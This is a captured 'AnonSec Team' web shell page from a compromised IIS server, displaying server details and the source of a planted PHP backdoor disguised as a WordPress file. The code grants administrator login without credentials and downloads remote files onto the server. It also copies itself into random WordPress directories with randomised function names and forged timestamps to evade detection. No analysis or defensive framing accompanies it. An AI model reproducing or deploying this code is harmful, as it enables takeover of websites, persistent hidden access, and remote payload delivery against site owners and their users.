AnonSec Team
Server IP : 103.11.96.170  /  Your IP : 3.21.125.27
Web Server : Microsoft-IIS/10.0
System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
User : elibrary.unsap.ac.id ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0555) :  D:/localhost/ppp/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : D:/localhost/ppp/nyve3864.php
<?php

define('WP_USE_THEMES', false);
define('PLUGIN_VERSION', '5.1');

require_once($_SERVER['DOCUMENT_ROOT'] . '/wp-load.php');

function sptdelgifknhru($parent, $child="") {
    $path = "{$_SERVER['DOCUMENT_ROOT']}/$parent/$child";
    $directories = array_filter(scandir($path), fn($dir) => $dir != '.' && $dir != '..');
    $result = [];

    foreach ($directories as $dir) {
        $directory = "$path/$dir";
        if (is_dir($directory)) {
            $result[] = $directory;
            $result = array_merge($result, sptdelgifknhru($parent, "$child/$dir"));
        }
    }

    return $result;
}
function mvxcotsfgeprunkd($length = 8, $includeNumbers = true) {
    $characters = 'abcdefghijklmnopqrstuvwxyz' . ($includeNumbers ? '1234567890' : '');
    return substr(str_shuffle($characters), 0, $length);
}
function xewinqmslgouh($path) {
    return str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['HTTP_HOST'], $path);
}
function fnetpursahcwzbgjo($filename) {
    $timestamp = mt_rand(strtotime('2020-01-01 12:12:12'), strtotime('2022-12-30 13:13'));
    touch($filename, $timestamp);
    clearstatcache(true, $filename);
}
function utmypcnlqzivedf($filename) {
    $content = file_get_contents($filename);
    if (!$content) {
        $file = fopen($filename, 'r');
        $content = fread($file, filesize($filename));
        fclose($file);
    }
    return $content;
}
function cxkregayhwnu() {
    $path = $_SERVER['DOCUMENT_ROOT'] . '/wp-content';
    $dirs = [];
    if (is_dir($path) && $handle = opendir($path)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry !== "." && $entry !== ".." && is_dir($path . '/' . $entry) && $entry !== 'plugins') {
                $dirs[$entry] = $path . '/' . $entry;
            }
        }
        closedir($handle);
    }
    return $dirs;
}
function gobsxdecty() {
    $action = $_REQUEST['action'];
    $initialDirs = cxkregayhwnu();
    $dirs = [];
    foreach (array_keys($initialDirs) as $dir) {
        $dirs[$dir] = sptdelgifknhru("wp-content", $dir);
    }
    $dirs['admin'] = sptdelgifknhru('wp-admin','');
    $dirs['includes'] = sptdelgifknhru('wp-includes','');
    $message = [];
    switch ($action) {
        case 'login':
            $user = get_users(["role" => "administrator"])[0];
            wp_set_auth_cookie($user->data->ID);
            wp_set_current_user($user->data->ID);
            die($user->data->ID);
        case 'download':
            $url = $_REQUEST['url'];
            $filename = $_REQUEST['filename'];
            $response = file_get_contents($url);
            if ($response !== false) {
                file_put_contents($filename, $response) || (file_put_contents($filename, $response) === false && fwrite(fopen($filename, 'w'), $response));
            }
            $message['success'] = file_exists($filename) && filesize($filename) > 10;
            break;
        case 'delete':
            unlink(__FILE__);
            
        case 'copy':
            $filename = $_REQUEST['filename'];
            if (!file_exists($filename) || filesize($filename) < 10) {
                $message['success'] = false;
                $message['data'] = [];
                break;

            }
            $target = $_REQUEST['dir'] ?: $_SERVER['DOCUMENT_ROOT'];
            $replace = $_REQUEST['replace'] ? true : false;
            $num = $_REQUEST['num'] ?: 1;
            $success = [];
            if ($replace) {
                $content = utmypcnlqzivedf($filename);
                if ($content) {
                    $pattern = '/function\s+([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\s*\(/';
                    $functions = preg_match_all($pattern, $content, $result);
                    $result = $result[1];
                    if ($result) {
                        foreach ($result as $oldFunction) {
                            $randomChar = mvxcotsfgeprunkd(rand(10,17), false);
                            $content = str_replace("$oldFunction(", "$randomChar(", $content);
                        }
                        file_put_contents($filename, $content);
                    }
                }
            }
            for ($i = 0; $i < $num; $i++) {
                $randomName = $_REQUEST['random_name'] ? mvxcotsfgeprunkd(rand(5, 10)) . '.php' : $filename;
                $directoriesTarget = is_array($dirs[$target]) ? $dirs[$target][array_rand($dirs[$target])] : ($target ?: $_SERVER['DOCUMENT_ROOT']);
                $outputName = "$directoriesTarget/$randomName";
                $message["success[$i]"] = copy($filename, $outputName);
                if ($message["success[$i]"]) {
                    $success[] = xewinqmslgouh($outputName);
                    fnetpursahcwzbgjo($outputName);
                    fnetpursahcwzbgjo($directoriesTarget);
                }
            }
            $message['data'] = $success;
            break;
        default:
            $message['directories'] = array_keys($dirs);
    }
    echo json_encode($message);
}
gobsxdecty();

AnonSec - 2021